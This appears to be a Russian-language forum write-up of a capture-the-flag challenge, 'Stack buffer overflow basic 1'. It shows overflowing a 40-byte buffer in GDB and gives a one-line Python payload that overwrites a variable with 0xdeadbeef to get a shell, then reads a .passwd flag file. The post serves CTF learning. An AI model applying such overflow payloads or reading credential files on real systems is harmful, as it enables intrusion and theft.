![]() |
App-System, ELF x86 - Stack buffer overflow basic 1
Environment configuration : PIEPosition Independent Executable RelRORead Only relocations NXNon-Executable Stack Heap execNon-Executable Heap ASLRAddress Space Layout Randomization SFSource Fortification SRCSource code access Source code: C: Код:
#include Очень простое задание. Без харденинг защит да и к тому же есть исходный код. Суть задачи переполнить буфер и перезаписать переменную check к конкретную значению, а именно к значению "0xdeadbeef"после чего откроется шелл и можно будет получить флаг. Запускаем отладчик GDB. Переполняем буфер и перезаписываем значение переменной. Код:
gdb -q ./ch13Видно такую конструкцию Код:
[buf]: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKK[buf] что это та строчка которая влезла в буфер и за его пределы [check] текущие значение переменной Запустим Python чтобы вычислить размер строки и для того, чтобы узнать что это за значение хранится в переменной check. Код:
pythonВидно и становится ясно, что это 0x4b4b4b4b == "KKKK" По условию задания check должен быть значению 0xdeadbeefтогда откроется шелл, после чего можно получить флаг. Составим эксплойт. 40 байт пойдут в буфер, а следующие 4 на перезапись переменной check куда мы положим значение 0xdeadbeef. Чтобы не мучатся, адреса воспользуемся модулем struct. Код:
(python -c 'from struct import pack;print "A"*40 + pack("I",0xdeadbeef)';cat) | ./ch13Код:
cat .passwdКод:
Сtrl+Dhttps://forum.antichat.xyz/attachmen...0b3603e549.png Вот таким образом можно получить флаг. |
| Время: 14:03 |